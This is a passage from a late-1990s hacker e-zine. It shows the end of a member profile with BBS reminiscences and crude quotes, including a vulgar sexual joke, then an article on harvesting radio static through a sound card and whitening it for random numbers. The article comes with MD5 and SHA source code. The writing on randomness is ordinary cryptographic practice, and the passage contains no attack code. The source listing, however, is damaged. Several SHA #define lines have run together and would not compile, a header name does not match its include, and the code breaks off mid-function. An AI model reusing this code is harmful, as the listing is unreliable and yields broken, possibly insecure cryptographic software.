ALTGER, altos computer systems munich.... i know far too many people from this board in real life now. 12 years ago I never would have thought that this would occur or feasibly see how this would happen. It's still mind‑boggling to me. Old skool Apple warez crew: Blue Adept [213], Ubiquitous Hacker, Hollywood, Vampire, Pirette. Others: Piper, Dr. Who, Shatter, Theorem, Nora, and Nasa Pilot.

ALTHH, altos computer systems hamburg (later Markt and Technic... tchh), same as altger but I spent MUCH MUCH more time here. I think this is where I got the magic. THE crew: Floyd, TTM, Necrovore‑Skyhook‑backlash‑LineShadowTouchTone [Xtension], jumpingjackflash, Lutz Pelikan, camelot, pad‑gandalffusion‑power‑etc [8LGM], Force‑Phoenix‑Nom‑etc [The Realm], anthrax, there are too many people to list here forgive me if I left you out. You know who you are.

The Phoenix Project, what a cool place, where else could I tease Sandy Sandquist about FTS.

Illuminati BBS, my account was short lived and i logged in maybe twice. But where else could i see the latest on AD&D games with, The Mentor, Erik Bloodaxe, etc.

The initial r00t homepage, boy was this a funny joke. Wait, i'm at a con and now its all real and there's like 40 people here. These people are smart and make lots of money. Hosaka and T3... You could not have known it would turn into this. r00t people who kick ass: Number one for all time glyph a.k.a necrovore, alhambra, oghost, redragon [tacobell.com], and daemon9.

Ripco, well I wasn't on here a lot but it played such an important part in the computer underground over the years i have to at least mention it. It must have also been my first exposure to l0ck. Tons of other people here, this place kept lots of Text files circulating in the underground that might have otherwise been lost.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Quotes

"I didn't mean for your daddy to spooge all over the minnie mouse pillow on your bed, it wasn't my fault, i told him he could cum in my ass" ‑‑ Vamprella

"No." ‑‑ Agent Steal

"Remember when i did that class change for you?" ‑‑ U4EA

"How did you know i was gonna say that about butter?" ‑‑ Nirva

"I got approval from Uli to start Chaos Computer Club West, want to be in it?" ‑‑ Doc Holiday

"Bilbo Baggins, how are youuuuuu" ‑‑ Torquemada

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ The future of the computer underground

The future? Hmm. Am I the guy to ask? Maybe. Things have changed a lot, the only thing constant is change. It seems there is less chivalry nowadays. The government and corporations painted a picture of us. That picture is not a pretty one. They even have a general psychiatric profile we are all supposed to fall into. Movies, like "Hackers" portray us a certain way also. Kids just starting out, see this and immediately it becomes the way the underground is. The Masters of Deception also promoted this image of the Computer Underground. We end up fighting ourselves more than working together to accomplish goals. I remember a time when things weren't like that. There was very little confrontation between hackers, and information flowed freely. If you ask me, its all a big conspiracy :‑). A big conspiracy to keep hackers seperated and fighting among themselves. People like to talk to me about the good old days. Thats all well and good, but those days are over. There can still be another golden age in the Computer Underground. The only thing stopping it, is you.

Linux and Random Source Bleaching

‑‑‑[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 05 of 12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Linux and Random Source Bleaching

‑‑‑‑‑‑‑‑[ Phunda Menta <phundie@usa.net>

‑‑‑‑[ Introduction

Random numbers are often used in cryptography, but good random bits can be hard to come by. Linux has two useful pseudo‑devices called /dev/random and /dev/urandom. Catting /dev/random yields a small pool of random bits obtained from internal system state. If you cat this output to your terminal and bang on some keys, you'll notice that you get more random bits. Disk drive accesses, IRQ timings, and key presses; all of this stuff gets hashed into a small pool of entropy that can be accessed directly from /dev/random. /dev/urandom is a stream that hashes /dev/random, and gives you that hash value; then it hashes the last hash and the pool forever. Both give a decent source of random bits. By default, /dev/urandom uses SHA (I know the source comments claim MD5, but if you look at the code, it is SHA).

So /dev/urandom is a decent source of pseudo‑random bits. /dev/random is better, but it is of limited size.

These are very useful, but what we really want is a hardware source of random bits.

‑‑‑‑[ The Hardware Solution

Most computers have sound cards these days, and a sound card is a great source of potential entropy.

Unplug the microphone from your soundcard and cat /dev/audio to a file. Sample maybe 2 or 300k of data. Now play it back, if it sounds like static, you can skip ahead to cleaning up the source. You can also try plugging a 1/8th jack (or whatever you use for input) that has dead‑end leads into the mic port. Try both of these methods and find one that gives a clean static hiss.

Chances are that on playback all you have is silence, but we want static. Static is random, and randomness is our goal here, so grab an FM radio and tune it to the high end, around 106 or 107 MHz. Find a frequency that gives a good clean hiss, an analog tuner is best for this. If you have a digital tuner and can't get the precision needed to tune‑in a good static source then get the best static you can, but you might have a harder time cleaning up this source. If your signal has a high‑pitched tone present you can clean this out in a few different ways. The easiest is to use software to strip out that frequency. There is a family of programs for Linux that can help with this (Bio, Mammut, and Ceres). These programs allow very good visualization of the signal and they also allow you to pull the signal apart and isolate different frequencies. Chances are you will have a bunch of junk in the 60 Hz region, probably due to EMI (electro‑magnetic interference) from power supplies, along with whatever is giving you that tone.

In either case you should shield your FM receiver and the audio cable to avoid EMI. You may be able you shield your soundcard, but I am skeptical of the worth of this. A lot of electronics supply houses sell shielding wrap and preshielded cables. You can also try aluminum foil. I haven't had much luck with aluminum foil, but some people swear by it.

Once you have your source set up, jack it into your sound card and sample it at 44 kHz. Run the results through the Diehard testing package (a battery of tests to evaluate the strength of random number generators). Your source won't pass the test.

Clean up your source bytes however you need to. Strip out any 60 Hz junk with Mammut by using the Transform|Filter options, you can then use the Transform|Phase Shift option to slide the wave form back into place so that there is no gap at 60 Hz. If your static source has a small amplitude, crank it up by increasing the hardware gain, or use Mammut to change the derivative or the effective gain, whichever you like. I have found no empirical evidence to suggest that one way works better than the others, but, theoretically, changing the slope may be a Bad Thing (tm). You may also want to use the Phase Shift and Threshold options to chop up your signal. You can resynthesize the parts and save them back out. Listening to these parts, and graphing them can help give you an idea of what other things your source signal is doing.

If push comes to shove, and you can't weed out all of the bias, or if you need a more hands‑free way to clean up the source (and don't have the time or skill to write custom filters) you can just use a cryptographic hash.

After you clean up your source, take a look at it with ceres or bio, if the output looks like video static with no noticeable patterns or hot/cold areas then you have sufficiently cleaned up the signal, now you can move on to bleaching the static for use as a random number stream.

As a side note, if you ever want to see what a good random distribution is supposed to look like, you can also use output from /dev/urandom. Use sox (stock with Redhat distros) to convert the output stream of /dev/urandom (use a type of 'ul') to AIFF for mammut, or ceres or whatever. The distribution given by /dev/urandom is statistically random so it will tell us what to look for, but /dev/urandom (SHA, basically) is still pseudo‑random since complete knowledge of the previous inputs allows us to calculate all future outputs. This is not so with static.

‑‑‑‑[ Bleaching the data stream

The static coming out of your FM source is skewed white noise. We need to clean it up, so we bleach it.

RFC1750 gives a slew of methods to clean up your source. One of the simplest, effective methods of whitening a source is to XOR all the bits in a byte together, yielding one output bit. These bits are then reconstructed into a byte and output. This method has a few advantages. The first big advantage is that you know precisely how many bytes you need to sample in order obtain a certain number of output bytes. XORing is also fast, and easy to implement.

Another method of deskewing data is attributed to John von Neumann in RFC1750. This method is called transition mapping. Transition mapping is a relatively simple process. We take two bits from our input. If this bit sequence is 01 or 10 we output a 0 or a 1, respectively. The sequences 00 and 11 are discarded. This method completely deskews a stream of data at the expense of needing an unknown number of input bits. Transition mapping is also a very fast process, and on a lightly skewed input transition mapping can yield more output bits than XOR.

Both XOR and transition mapping are fast processes that are good enough to deskew a set of bits such that they will pass the Diehard suite of tests, if the input is suitably clean and random. If the input is somehow correlated, you will have a harder time getting it to pass Diehard. I have found that correlated sources can be cleaned up by XORing the output of an XOR distillation with the output of a transition mapped distillation.

Slower constructions can be created out of cryptographic hash functions, but may be trusted more by the paranoid. Hash functions are also recommended if an attacker has the means to somehow affect your random source. If you are worried about this attack, a good way to solve it is with appeal to /dev/random. Use a block cipher such as 3DES to encrypt your random source with a key and initialization vector obtained from /dev/random. If an attacker can bias your source in a predictable way, he still has no idea what bytes you may be using for your actual random numbers. Skew that the attack may introduce into your hardware can first be cleaned with a process like transition mapping and then pumped through a looped hash function or a block cipher.

The output of a (decent) hash function or block cipher will pass the Diehard tests.

In a heavily used machine, where the entropy pool used by /dev/random will be updated frequently, the output from the above processes can be XORed byte for byte with the stream from /dev/urandom. This is a simple method to mix the streams together for added security. Another method would be to hash N/2 bytes from /dev/urandom and N/2 bytes from your source together, where N is the number of bytes that your hash function will yield.

All of these methods are suitable to deskew a data set, but they should not be used blindly. Before putting the resulting bits to use, examine several samples with Diehard and graphic or spectral tests.

I have included code to do XOR, transition mapping along with hashing mechanisms.. I have plenty of code to do other hash and block cipher based stuff too, but I did not include that here because the code is not self‑contained (it needs some crypto libs).

If you want to contact me about the code or if you have some comments or suggestions, I can be reached at phundie@usa.net.

‑‑‑‑[ References and Related stuff:

RFC1750 Randomness Recommendations for Security http://www.kobira.co.jp/document/rfc/RFC1750.txt

Diehard Test Suite

http://stat.fsu.edu/~geo/diehard.html

Pseudo‑Random Number Conditioning http://www.clark.net/pub/cme/html/ranno.html

Linux MIDI & Sound Applications (has links to Mammut, Bio and Ceres) http://www.bright.net/~dlphilp/linux_soundapps.html

‑‑‑‑[ The code

<++> bleach/Makefile

all:

gcc ‑w ‑c md5/md5.c

gcc ‑c sha/shs.c

gcc ‑o sha_distill sha_distill.c shs.o

gcc ‑o md5_distill md5_distill.c md5.o

gcc ‑o xor_distill xor_distill.c

gcc ‑o transmap transmap.c

<‑‑>

<++> bleach/md5/md5.c

/*

***************************************

** md5.c ‑‑ the source code for MD5 routines ** ** RSA Data Security, Inc. MD5 Message‑Digest Algorithm **

** Created: 2/17/90 RLR

** Revised: 1/91 SRD,AJ,BSK,JT Reference C ver., 7/10 constant corr. **

***************************************

*/

/*

***************************************

** Copyright (C) 1990, RSA Data Security, Inc. All rights reserved. **

**

** License to copy and use this software is granted provided that ** ** it is identified as the "RSA Data Security, Inc. MD5 Message‑ ** ** Digest Algorithm" in all material mentioning or referencing this **

** software or this function.

**

** License is also granted to make and use derivative works ** ** provided that such works are identified as "derived from the RSA ** ** Data Security, Inc. MD5 Message‑Digest Algorithm" in all ** ** material mentioning or referencing the derived work. **

**

** RSA Data Security, Inc. makes no representations concerning ** ** either the merchantability of this software or the suitability ** ** of this software for any particular purpose. It is provided "as ** ** is" without express or implied warranty of any kind. **

**

** These notices must be retained in any copies of any part of this **

** documentation and/or software. **

***************************************

*/

#include "md5.h"

/*

***************************************

** Message‑digest routines:

** To form the message digest for a message M ** ** (1) Initialize a context buffer mdContext using MD5Init ** ** (2) Call MD5Update on mdContext and M **

** (3) Call MD5Final on mdContext **

** The message digest is now in mdContext‑>digest[0...15] **

***************************************

*/

/* forward declaration */

static void Transform ();

static unsigned char PADDING[64] = {

0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00

};

/* F, G, H and I are basic MD5 functions */

#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))

#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))

#define H(x, y, z) ((x) ^ (y) ^ (z))

#define I(x, y, z) ((y) ^ ((x) | (~z)))

/* ROTATE_LEFT rotates x left n bits */

#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32‑(n))))

/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4 */

/* Rotation is separate from addition to prevent recomputation */

#define FF(a, b, c, d, x, s, ac) \

{(a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \

(a) = ROTATE_LEFT ((a), (s)); \

(a) += (b); \

}

#define GG(a, b, c, d, x, s, ac) \

{(a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \

(a) = ROTATE_LEFT ((a), (s)); \

(a) += (b); \

}

#define HH(a, b, c, d, x, s, ac) \

{(a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \

(a) = ROTATE_LEFT ((a), (s)); \

(a) += (b); \

}

#define II(a, b, c, d, x, s, ac) \

{(a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \

(a) = ROTATE_LEFT ((a), (s)); \

(a) += (b); \

}

/* The routine MD5Init initializes the message‑digest context

mdContext. All fields are set to zero.

*/

void MD5Init (mdContext)

MD5_CTX *mdContext;

{

mdContext‑>i[0] = mdContext‑>i[1] = (UINT4)0;

/* Load magic initialization constants.

*/

mdContext‑>buf[0] = (UINT4)0x67452301;

mdContext‑>buf[1] = (UINT4)0xefcdab89;

mdContext‑>buf[2] = (UINT4)0x98badcfe;

mdContext‑>buf[3] = (UINT4)0x10325476;

}

/* The routine MD5Update updates the message‑digest context to

account for the presence of each of the characters inBuf[0..inLen‑1] in the message whose digest is being computed.

*/

void MD5Update (mdContext, inBuf, inLen)

MD5_CTX *mdContext;

unsigned char *inBuf;

unsigned int inLen;

{

UINT4 in[16];

int mdi;

unsigned int i, ii;

/* compute number of bytes mod 64 */

mdi = (int)((mdContext‑>i[0] >> 3) & 0x3F);

/* update number of bits */

if ((mdContext‑>i[0] + ((UINT4)inLen << 3)) < mdContext‑>i[0]) mdContext‑>i[1]++;

mdContext‑>i[0] += ((UINT4)inLen << 3);

mdContext‑>i[1] += ((UINT4)inLen >> 29);

while (inLen‑‑) {

/* add new character to buffer, increment mdi */

mdContext‑>in[mdi++] = *inBuf++;

/* transform if necessary */

if (mdi == 0x40) {

for (i = 0, ii = 0; i < 16; i++, ii += 4)

in[i] = (((UINT4)mdContext‑>in[ii+3]) << 24) | (((UINT4)mdContext‑>in[ii+2]) << 16) | (((UINT4)mdContext‑>in[ii+1]) << 8) | ((UINT4)mdContext‑>in[ii]);

Transform (mdContext‑>buf, in);

mdi = 0;

}

}

}

/* The routine MD5Final terminates the message‑digest computation and

ends with the desired message digest in mdContext‑>digest[0...15]. */

void MD5Final (mdContext)

MD5_CTX *mdContext;

{

UINT4 in[16];

int mdi;

unsigned int i, ii;

unsigned int padLen;

/* save number of bits */

in[14] = mdContext‑>i[0];

in[15] = mdContext‑>i[1];

/* compute number of bytes mod 64 */

mdi = (int)((mdContext‑>i[0] >> 3) & 0x3F);

/* pad out to 56 mod 64 */

padLen = (mdi < 56) ? (56 ‑ mdi) : (120 ‑ mdi);

MD5Update (mdContext, PADDING, padLen);

/* append length in bits and transform */

for (i = 0, ii = 0; i < 14; i++, ii += 4)

in[i] = (((UINT4)mdContext‑>in[ii+3]) << 24) | (((UINT4)mdContext‑>in[ii+2]) << 16) | (((UINT4)mdContext‑>in[ii+1]) << 8) | ((UINT4)mdContext‑>in[ii]);

Transform (mdContext‑>buf, in);

/* store buffer in digest */

for (i = 0, ii = 0; i < 4; i++, ii += 4) { mdContext‑>digest[ii] = (unsigned char)(mdContext‑>buf[i] & 0xFF); mdContext‑>digest[ii+1] =

(unsigned char)((mdContext‑>buf[i] >> 8) & 0xFF); mdContext‑>digest[ii+2] =

(unsigned char)((mdContext‑>buf[i] >> 16) & 0xFF); mdContext‑>digest[ii+3] =

(unsigned char)((mdContext‑>buf[i] >> 24) & 0xFF);

}

}

/* Basic MD5 step. Transforms buf based on in.

*/

static void Transform (buf, in)

UINT4 *buf;

UINT4 *in;

{

UINT4 a = buf[0], b = buf[1], c = buf[2], d = buf[3];

/* Round 1 */

#define S11 7

#define S12 12

#define S13 17

#define S14 22

FF ( a, b, c, d, in[ 0], S11, 3614090360); /* 1 */

FF ( d, a, b, c, in[ 1], S12, 3905402710); /* 2 */

FF ( c, d, a, b, in[ 2], S13, 606105819); /* 3 */

FF ( b, c, d, a, in[ 3], S14, 3250441966); /* 4 */

FF ( a, b, c, d, in[ 4], S11, 4118548399); /* 5 */

FF ( d, a, b, c, in[ 5], S12, 1200080426); /* 6 */

FF ( c, d, a, b, in[ 6], S13, 2821735955); /* 7 */

FF ( b, c, d, a, in[ 7], S14, 4249261313); /* 8 */

FF ( a, b, c, d, in[ 8], S11, 1770035416); /* 9 */

FF ( d, a, b, c, in[ 9], S12, 2336552879); /* 10 */

FF ( c, d, a, b, in[10], S13, 4294925233); /* 11 */

FF ( b, c, d, a, in[11], S14, 2304563134); /* 12 */

FF ( a, b, c, d, in[12], S11, 1804603682); /* 13 */

FF ( d, a, b, c, in[13], S12, 4254626195); /* 14 */

FF ( c, d, a, b, in[14], S13, 2792965006); /* 15 */

FF ( b, c, d, a, in[15], S14, 1236535329); /* 16 */

/* Round 2 */

#define S21 5

#define S22 9

#define S23 14

#define S24 20

GG ( a, b, c, d, in[ 1], S21, 4129170786); /* 17 */

GG ( d, a, b, c, in[ 6], S22, 3225465664); /* 18 */

GG ( c, d, a, b, in[11], S23, 643717713); /* 19 */

GG ( b, c, d, a, in[ 0], S24, 3921069994); /* 20 */

GG ( a, b, c, d, in[ 5], S21, 3593408605); /* 21 */

GG ( d, a, b, c, in[10], S22, 38016083); /* 22 */

GG ( c, d, a, b, in[15], S23, 3634488961); /* 23 */

GG ( b, c, d, a, in[ 4], S24, 3889429448); /* 24 */

GG ( a, b, c, d, in[ 9], S21, 568446438); /* 25 */

GG ( d, a, b, c, in[14], S22, 3275163606); /* 26 */

GG ( c, d, a, b, in[ 3], S23, 4107603335); /* 27 */

GG ( b, c, d, a, in[ 8], S24, 1163531501); /* 28 */

GG ( a, b, c, d, in[13], S21, 2850285829); /* 29 */

GG ( d, a, b, c, in[ 2], S22, 4243563512); /* 30 */

GG ( c, d, a, b, in[ 7], S23, 1735328473); /* 31 */

GG ( b, c, d, a, in[12], S24, 2368359562); /* 32 */

/* Round 3 */

#define S31 4

#define S32 11

#define S33 16

#define S34 23

HH ( a, b, c, d, in[ 5], S31, 4294588738); /* 33 */

HH ( d, a, b, c, in[ 8], S32, 2272392833); /* 34 */

HH ( c, d, a, b, in[11], S33, 1839030562); /* 35 */

HH ( b, c, d, a, in[14], S34, 4259657740); /* 36 */

HH ( a, b, c, d, in[ 1], S31, 2763975236); /* 37 */

HH ( d, a, b, c, in[ 4], S32, 1272893353); /* 38 */

HH ( c, d, a, b, in[ 7], S33, 4139469664); /* 39 */

HH ( b, c, d, a, in[10], S34, 3200236656); /* 40 */

HH ( a, b, c, d, in[13], S31, 681279174); /* 41 */

HH ( d, a, b, c, in[ 0], S32, 3936430074); /* 42 */

HH ( c, d, a, b, in[ 3], S33, 3572445317); /* 43 */

HH ( b, c, d, a, in[ 6], S34, 76029189); /* 44 */

HH ( a, b, c, d, in[ 9], S31, 3654602809); /* 45 */

HH ( d, a, b, c, in[12], S32, 3873151461); /* 46 */

HH ( c, d, a, b, in[15], S33, 530742520); /* 47 */

HH ( b, c, d, a, in[ 2], S34, 3299628645); /* 48 */

/* Round 4 */

#define S41 6

#define S42 10

#define S43 15

#define S44 21

II ( a, b, c, d, in[ 0], S41, 4096336452); /* 49 */

II ( d, a, b, c, in[ 7], S42, 1126891415); /* 50 */

II ( c, d, a, b, in[14], S43, 2878612391); /* 51 */

II ( b, c, d, a, in[ 5], S44, 4237533241); /* 52 */

II ( a, b, c, d, in[12], S41, 1700485571); /* 53 */

II ( d, a, b, c, in[ 3], S42, 2399980690); /* 54 */

II ( c, d, a, b, in[10], S43, 4293915773); /* 55 */

II ( b, c, d, a, in[ 1], S44, 2240044497); /* 56 */

II ( a, b, c, d, in[ 8], S41, 1873313359); /* 57 */

II ( d, a, b, c, in[15], S42, 4264355552); /* 58 */

II ( c, d, a, b, in[ 6], S43, 2734768916); /* 59 */

II ( b, c, d, a, in[13], S44, 1309151649); /* 60 */

II ( a, b, c, d, in[ 4], S41, 4149444226); /* 61 */

II ( d, a, b, c, in[11], S42, 3174756917); /* 62 */

II ( c, d, a, b, in[ 2], S43, 718787259); /* 63 */

II ( b, c, d, a, in[ 9], S44, 3951481745); /* 64 */

buf[0] += a;

buf[1] += b;

buf[2] += c;

buf[3] += d;

}

/*

***************************************

** End of md5.c

******************************** (cut) ********************************

*/

<‑‑>

<++> bleach/md5/md5c.h

/*

***************************************

** md5.h ‑‑ header file for implementation of MD5 ** ** RSA Data Security, Inc. MD5 Message‑Digest Algorithm **

** Created: 2/17/90 RLR

** Revised: 12/27/90 SRD,AJ,BSK,JT Reference C version **

** Revised (for MD5): RLR 4/27/91 **

** ‑‑ G modified to have y&~z instead of y&z ** ** ‑‑ FF, GG, HH modified to add in last register done ** ** ‑‑ Access pattern: round 2 works mod 5, round 3 works mod 3 ** ** ‑‑ distinct additive constant for each step **

** ‑‑ round 4 added, working mod 7 **

***************************************

*/

/*

***************************************

** Copyright (C) 1990, RSA Data Security, Inc. All rights reserved. **

**

** License to copy and use this software is granted provided that ** ** it is identified as the "RSA Data Security, Inc. MD5 Message‑ ** ** Digest Algorithm" in all material mentioning or referencing this **

** software or this function.

**

** License is also granted to make and use derivative works ** ** provided that such works are identified as "derived from the RSA ** ** Data Security, Inc. MD5 Message‑Digest Algorithm" in all ** ** material mentioning or referencing the derived work. **

**

** RSA Data Security, Inc. makes no representations concerning ** ** either the merchantability of this software or the suitability ** ** of this software for any particular purpose. It is provided "as ** ** is" without express or implied warranty of any kind. **

**

** These notices must be retained in any copies of any part of this **

** documentation and/or software. **

***************************************

*/

/* typedef a 32‑bit type */

typedef unsigned long int UINT4;

/* Data structure for MD5 (Message‑Digest) computation */

typedef struct {

UINT4 i[2]; /* number of _bits_ handled mod 2^64 */

UINT4 buf[4]; /*scratch buffer */

unsigned char in[64]; /* input buffer */

unsigned char digest[16]; /* actual digest after MD5Final call */

} MD5_CTX;

void MD5Init ();

void MD5Update ();

void MD5Final ();

/*

***************************************

** End of md5.h

******************************** (cut) ********************************

*/

<‑‑>

<++> bleach/md5_distill.c

#include <stdio.h>

#include "md5/md5.h"

main ()

{

MD5_CTX md5Info;

unsigned char c[16];

while (fread(c, 1,16,stdin) == 16)

{

MD5Init(&md5Info);

MD5Update(&md5Info,c,16);

MD5Final(&md5Info);

fwrite(md5Info.digest,1,16,stdout);

}

}

<‑‑>

<++> bleach/sha/shs.c

/* ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ SHS.C ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ */

/*

* NIST proposed Secure Hash Standard.

*

* Written 2 September 1992, Peter C. Gutmann.

* This implementation placed in the public domain.

*

* Comments to pgut1@cs.aukuni.ac.nz

*/

#include <string.h>

#include "shs.h"

/* The SHS f()‑functions */

#define f1(x,y,z) ( ( x & y ) | ( ~x & z ) ) /* Rounds 0‑19 */

#define f2(x,y,z) ( x ^ y ^ z ) /* Rounds 20‑39 */

#define f3(x,y,z) ( ( x & y ) | ( x & z ) | ( y & z ) ) /* Rounds 40‑59 */

#define f4(x,y,z) ( x ^ y ^ z ) /* Rounds 60‑79 */

/* The SHS Mysterious Constants */

#define K1 0x5A827999L /* Rounds 0‑19 */

#define K2 0x6ED9EBA1L /* Rounds 20‑39 */

#define K3 0x8F1BBCDCL /* Rounds 40‑59 */

#define K4 0xCA62C1D6L /* Rounds 60‑79 */

/* SHS initial values */

#define h0init0x67452301L

#define h1init0xEFCDAB89L

#define h2init0x98BADCFEL

#define h3init0x10325476L

#define h4init0xC3D2E1F0L

/* 32‑bit rotate ‑ kludged with shifts */

#define S(n,X)((X << n) | (X >> (32 ‑ n)))

/* The initial expanding function */

#define expand(count)W [count] = W [count ‑ 3] ^ W [count ‑ 8] ^ W [count ‑ 14] ^ W [count ‑ 16]

/* The four SHS sub‑rounds */

#define subRound1(count) \

{ \

temp = S (5, A) + f1 (B, C, D) + E + W [count] + K1; \

E = D; \

D = C; \

C = S (30, B); \

B = A; \

A = temp; \

}

#define subRound2(count) \

{ \

temp = S (5, A) + f2 (B, C, D) + E + W [count] + K2; \

E = D; \

D = C; \

C = S (30, B); \

B = A; \

A = temp; \

}

#define subRound3(count) \

{ \

temp = S (5, A) + f3 (B, C, D) + E + W [count] + K3; \

E = D; \

D = C; \

C = S (30, B); \

B = A; \

A = temp; \

}

#define subRound4(count) \

{ \

temp = S (5, A) + f4 (B, C, D) + E + W [count] + K4; \

E = D; \

D = C; \

C = S (30, B); \

B = A; \

A = temp; \

}

/* The two buffers of 5 32‑bit words */

LONG h0, h1, h2, h3, h4;

LONG A, B, C, D, E;

local void byteReverse OF((LONG *buffer, int byteCount));

void shsTransform OF((SHS_INFO *shsInfo));

/* Initialize the SHS values */

void shsInit (shsInfo)

SHS_INFO *shsInfo;

{

/* Set the h‑vars to their initial values */

shsInfo‑>digest [0] = h0init;

shsInfo‑>digest [1] = h1init;

shsInfo‑>digest [2] = h2init;

shsInfo‑>digest [3] = h3init;

shsInfo‑>digest [4] = h4init;

/* Initialise bit count */

shsInfo‑>countLo = shsInfo‑>countHi = 0L;

}

/*

* Perform the SHS transformation. Note that this code, like MD5, seems to * break some optimizing compilers ‑ it may be necessary to split it into * sections, eg based on the four subrounds

*/

void shsTransform (shsInfo)

SHS_INFO *shsInfo;

{

LONG W [80], temp;

int i;

/* Step A.Copy the data buffer into the local work buffer */

for (i = 0; i < 16; i++)

W [i] = shsInfo‑>data [i];

/* Step B.Expand the 16 words into 64 temporary data words */

expand (16); expand (17); expand (18); expand (19); expand (20); expand (21); expand (22); expand (23); expand (24); expand (25); expand (26); expand (27); expand (28); expand (29); expand (30); expand (31); expand (32); expand (33); expand (34); expand (35); expand (36); expand (37); expand (38); expand (39); expand (40); expand (41); expand (42); expand (43); expand (44); expand (45); expand (46); expand (47); expand (48); expand (49); expand (50); expand (51); expand (52); expand (53); expand (54); expand (55); expand (56); expand (57); expand (58); expand (59); expand (60); expand (61); expand (62); expand (63); expand (64); expand (65); expand (66); expand (67); expand (68); expand (69); expand (70); expand (71); expand (72); expand (73); expand (74); expand (75); expand (76); expand (77); expand (78); expand (79);

/* Step C.Set up first buffer */

A = shsInfo‑>digest [0];

B = shsInfo‑>digest [1];

C = shsInfo‑>digest [2];

D = shsInfo‑>digest [3];

E = shsInfo‑>digest [4];

/* Step D.Serious mangling, divided into four sub‑rounds */

subRound1 (0); subRound1 (1); subRound1 (2); subRound1 (3); subRound1 (4); subRound1 (5); subRound1 (6); subRound1 (7); subRound1 (8); subRound1 (9); subRound1 (10); subRound1 (11); subRound1 (12); subRound1 (13); subRound1 (14); subRound1 (15); subRound1 (16); subRound1 (17); subRound1 (18); subRound1 (19);

subRound2 (20); subRound2 (21); subRound2 (22); subRound2 (23); subRound2 (24); subRound2 (25); subRound2 (26); subRound2 (27); subRound2 (28); subRound2 (29); subRound2 (30); subRound2 (31); subRound2 (32); subRound2 (33); subRound2 (34); subRound2 (35); subRound2 (36); subRound2 (37); subRound2 (38); subRound2 (39);

subRound3 (40); subRound3 (41); subRound3 (42); subRound3 (43); subRound3 (44); subRound3 (45); subRound3 (46); subRound3 (47); subRound3 (48); subRound3 (49); subRound3 (50); subRound3 (51); subRound3 (52); subRound3 (53); subRound3 (54); subRound3 (55); subRound3 (56); subRound3 (57); subRound3 (58); subRound3 (59);

subRound4 (60); subRound4 (61); subRound4 (62); subRound4 (63); subRound4 (64); subRound4 (65); subRound4 (66); subRound4 (67); subRound4 (68); subRound4 (69); subRound4 (70); subRound4 (71); subRound4 (72); subRound4 (73); subRound4 (74); subRound4 (75); subRound4 (76); subRound4 (77); subRound4 (78); subRound4 (79);

/* Step E.Build message digest */

shsInfo‑>digest [0] += A;

shsInfo‑>digest [1] += B;

shsInfo‑>digest [2] += C;

shsInfo‑>digest [3] += D;

shsInfo‑>digest [4] += E;

}

local void byteReverse (buffer, byteCount)

LONG *buffer;

int byteCount;

{

LONG value;

int count;

/*

* Find out what the byte order is on this machine.

* Big endian is for machines that place the most significant byte * first (eg. Sun SPARC). Little endian is for machines that place * the least significant byte first (eg. VAX).

*

* We figure out the byte order by stuffing a 2 byte string into a * short and examining the left byte. '@' = 0x40 and 'P' = 0x50 * If the left byte is the 'high' byte, then it is 'big endian'. * If the left byte is the 'low' byte, then the machine is 'little * endian'.

*

* ‑‑ Shawn A. Clifford (sac@eng.ufl.edu)

*/

/*

* Several bugs fixed ‑‑ Pat Myrto (pat@rwing.uucp)

*/

if ((*(unsigned short *) ("@P") >> 8) == '@')

return;

byteCount /= sizeof (LONG);

for (count = 0; count < byteCount; count++) {

value = (buffer [count] << 16) | (buffer [count] >> 16); buffer [count] = ((value & 0xFF00FF00L) >> 8) | ((value & 0x00FF00FFL) << 8); }

}

/*

* Update SHS for a block of data. This code assumes that the buffer size is * a multiple of SHS_BLOCKSIZE bytes long, which makes the code a lot more * efficient since it does away with the need to handle partial blocks * between calls to shsUpdate()

*/

void shsUpdate (shsInfo, buffer, count)

SHS_INFO *shsInfo;

BYTE *buffer;

int count;

{

/* Update bitcount */

if ((shsInfo‑>countLo + ((LONG) count << 3)) < shsInfo‑>countLo) shsInfo‑>countHi++;/* Carry from low to high bitCount */

shsInfo‑>countLo += ((LONG) count << 3);

shsInfo‑>countHi += ((LONG) count >> 29);

/* Process data in SHS_BLOCKSIZE chunks */

while (count >= SHS_BLOCKSIZE) {

memcpy (shsInfo‑>data, buffer, SHS_BLOCKSIZE);

byteReverse (shsInfo‑>data, SHS_BLOCKSIZE);

shsTransform (shsInfo);

buffer += SHS_BLOCKSIZE;

count ‑= SHS_BLOCKSIZE;

}

/*

* Handle any remaining bytes of data.

* This should only happen once on the final lot of data

*/

memcpy (shsInfo‑>data, buffer, count);

}

void shsFinal (shsInfo)

SHS_INFO *shsInfo;

{

int count;

LONG lowBitcount = shsInfo‑>countLo, highBitcount = shsInfo‑>countHi;

/* Compute number of bytes mod 64 */

count = (int) ((shsInfo‑>countLo >> 3) & 0x3F);

/*

* Set the first char of padding to 0x80.

* This is safe since there is always at least one byte free

*/

